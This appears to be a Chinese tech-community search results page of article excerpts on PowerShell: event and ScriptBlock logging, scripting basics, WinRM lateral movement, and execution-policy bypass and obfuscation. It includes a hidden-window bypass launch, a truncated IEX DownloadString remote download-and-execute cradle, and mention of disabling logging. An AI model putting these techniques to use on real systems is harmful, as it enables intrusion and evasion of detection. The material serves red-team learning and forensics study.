首页
学习
活动
专区
圈层
工具
发布

围绕PowerShell事件日志记录的攻防博弈战

的ScriptBlock日志记录功能,他可以完整的记录PowerShell的历史执行过程,当然这是有助于进行攻击取证和溯源的。...PowerShell输入和输出对象,包括协议和版本协商以及命令I / O对象在表示为“有效负载数据”的字段中存储为XML编码的十六进制字符串,并且到期长度通常在多个日志消息中分段。...0x04 PowerShell v5 提供反混淆功能 PowerShell v5加入了CLM和ScriptBlock日志记录功能,能去混淆PowerShell代码并记录到事件日志,有效的抵御之前的攻击手段...,给攻击检测和取证造成了一定的困难,因此微软从PowerShell5.0开始加入了日志转储、ScriptBlock日志记录功能,并将其归入到事件4104当中,ScriptBlock Logging提供了在事件日志中记录反混淆的...PowerShell 5.0包含4.0中未提供的功能,包括可疑的脚本块日志记录。

2.3K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Powershell

    对象 输出数据是结构化对象,便于操作和处理。 变量 用于存储数据,使用符号定义,如name = "World"。 函数 可重用的代码块,封装特定功能。...符号:在PowerShell中,管道由竖线符号(|)表示。 数据流:管道将前一个命令的输出传递给下一个命令的输入。 对象传递:与传统的命令行不同,PowerShell管道传递的是对象而不是文本。...PowerShell 对象、变量、函数 对象 对象基础:PowerShell中的对象是.NET对象,包含属性和方法。每个命令的输出都是对象,而不是纯文本。...定义和使用变量 $message = "Hello, PowerShell!"...模块 PowerShell模块是用于组织和分发PowerShell功能的单元。它们可以包含函数、脚本、Cmdlet、变量和其他资源。

    3.2K10

    T1028: WinRM for Lateral Movement

    默认情况下,未配置WinRM listener,即使服务在运行,也无法接受或发送请求的WS-Management 协议 数据 防火墙阻止访问 winrm e winrm/config/listener...@#45 #运行服务 搜索发现一个比较好用得技巧,powershell环境中变量得解析方式、使用方式和cmd不一样: 获取当前环境得所有变量:Get-ChildItem env: or ls env:...使用变量:$env:windir 前面的WinRM.vbs,在powersehll中使用的的命令就是这样:cscript.exe $env:windir\System32\winrm.vbs ?...Session $Session {Command} #这个命令也经常用 Invoke-Command -ComputerName OWA2010SP3 -Credential $Credential -ScriptBlock...Get-Item WSMan:\localhost\Client\TrustedHosts #获取TrustedHosts的值 Invoke-Command -Credential $cred -ScriptBlock

    2.4K30

    Powershell绕过执行及脚本混淆

    我们搞安全的还可以使用 powershell 脚本执行一些奇奇怪怪的操作.......利用 .Net 类型和 Dom 对象。...能够利用 .Net 类型和 COM 对象是 PowerShell 的最大特点,这让 PowerShell 能够最大限度的利用现有资源,创建了 .Net 类型和 Dom 对象后可以使用这些对象的属性及方法...-ExecutionPolicy Bypass -File xxx.ps1 win7 环境下测试,腾讯管家未拦截、360 未拦截,win10 环境下火绒未拦截 2、本地绕过执行策略并隐藏执行窗口 PowerShell.exe...、360 未拦截,win10 环境下火绒未拦截 3、远程下载脚本并绕过执行策略执行 powershell "IEX (New-Object Net.WebClient).DownloadString('...该攻击脚本可以大致分为4个部分: 1、禁用日志记录,防止我们的脚本运行留下记录 2、建立了一个 webclient,用于下载 3、将要被执行的代码块赋值给 $R 4、从网上下载数据,将其与 $R scriptblock

    3.4K00

    PowerShell到底是个啥?跟CMD比起来强在哪里?看完这篇你就懂了

    image-20250930213512332 跟传统的CMD比起来,PowerShell最大的特点就是面向对象。什么意思呢?就是说它处理的不是简单的文本,而是对象。...有一次我需要批量处理Excel文件,用PowerShell直接调用Excel的COM对象,几行代码就搞定了,要是用CMD的话...想都不敢想。...CMD处理的是文本流,而PowerShell处理的是对象流。这听起来可能有点抽象,我举个具体例子。...PowerShell的管道可以传递完整的对象,这就意味着你可以把多个命令串联起来,形成强大的数据处理流水线。 PowerShell常用命令详解 说到PowerShell的命令,那真是太多了。...变量和数组 PowerShell支持变量,这让脚本编写变得更加灵活: # 定义变量 $name = "John" $age = 30 # 定义数组 $servers = @("Server01", "

    2.8K10

    红队技巧-常规横向手法

    Invoke-Command -Credential $cred -ScriptBlock {Hostname} #如果当前内存中没有凭证,则可以输入凭证 Enter-PSSession...winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM...默认情况下,未配置WinRM侦听器。即使WinRM服务正在运行,也无法接收或发送请求数据的WS-Management协议消息。 Internet连接防火墙(ICF)阻止访问端口。...在powershell中我们可以使用 get-CimInstance来列出本地COM程序列表 远程DCOM对象的实例表现如下: 客户端计算机从远程计算机请求实例化由CLSID表示的对象。...6.Outlook 在Outlook对象允许实例化和任意COM相互作用通过“创建对象”对象方法。这使攻击者可以与远程计算机上的COM对象进行交互,这些对象通常不会由DCOM公开。

    2.8K20

    【内网渗透】域渗透实战之 cascade

    图片SMB未授权访问SMB似乎允许匿名登录,但随后显示没有共享:查看smbclientRPC-445未授权访问通过rpcclient空密码连接并收集信息。Ldap匿名访问发现可以匿名访问。...对象的名称已使用 Common-Name DEL:Object-Guid 进行更新。该对象拥有一些新属性。isDeleted 属性的值为 TRUE,并且 填充了lastKnownParent 属性。...新属性 msDS-LastKnownRDN填充了对象最后已知的相对可分辨名称(此属性允许回收站在恢复期间正确重置对象的 RDN,即使对象的重命名导致原始 RDN 的截断)。两个属性已被删除。...然后使用另一个 PowerShell 命令来还原它。...在未启用 AD 回收站的域中,当删除 Active Directory 对象时,它会成为逻辑删除。

    1.4K20
    领券